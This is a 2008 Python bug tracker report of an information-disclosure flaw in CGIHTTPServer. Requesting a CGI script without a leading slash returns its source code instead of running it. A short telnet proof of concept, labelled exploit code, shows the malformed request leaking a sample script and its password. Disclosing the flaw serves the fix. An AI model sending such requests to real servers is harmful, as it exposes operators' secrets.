Message63361
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Summary:
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An information disclosure flaw exists in standard python CGIHTTPServer
module.
Bug is confirmed in python 2.5 @ fedora 7 (python-2.5-15.fc7).
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Description:
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Requesting cgi script (in example test.py) without / in the beginnig of URL
cause return script content/code instead of script execution.
It could lead to disclose some secret information eg. password.
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Exploit code:
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Connected to localhost.
Escape character is '^]'.
GET cgi-bin/test.py HTTP/1.0
HTTP/1.0 200 OK
Server: SimpleHTTP/0.6 Python/2.5
Date: Fri, 07 Mar 2008 14:55:30 GMT
Content-type: text/plain
Content-Length: 150
Last-Modified: Fri, 07 Mar 2008 14:55:04 GMT
#!/usr/bin/env python
print 'Content-Type: text/html'
print 'Cache-Control: no-cache'
print
print 'Hello'
passwd='secret'
path=/opt/myapp/secretpath
Connection closed by foreign host.
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correct request:
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Trying 127.0.0.1...
Connected to localhost.
Escape character is '^]'.
GET /cgi-bin/test.py HTTP/1.0
HTTP/1.0 200 Script output follows
Server: SimpleHTTP/0.6 Python/2.5
Date: Fri, 07 Mar 2008 15:01:03 GMT
Content-Type: text/html
Cache-Control: no-cache
Hello
Connection closed by foreign host.
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Date |
User |
Action |
Args |
2008-03-07 19:59:45 | m.sucajtys | set | spambayes_score: 0.00862819 -> 0.0086281905 recipients:
+ m.sucajtys |
2008-03-07 19:59:45 | m.sucajtys | set | spambayes_score: 0.00862819 -> 0.00862819 messageid: <1204919985.1.0.220899639338.issue2254@psf.upfronthosting.co.za> |
2008-03-07 19:59:44 | m.sucajtys | link | issue2254 messages |
2008-03-07 19:59:43 | m.sucajtys | create | |
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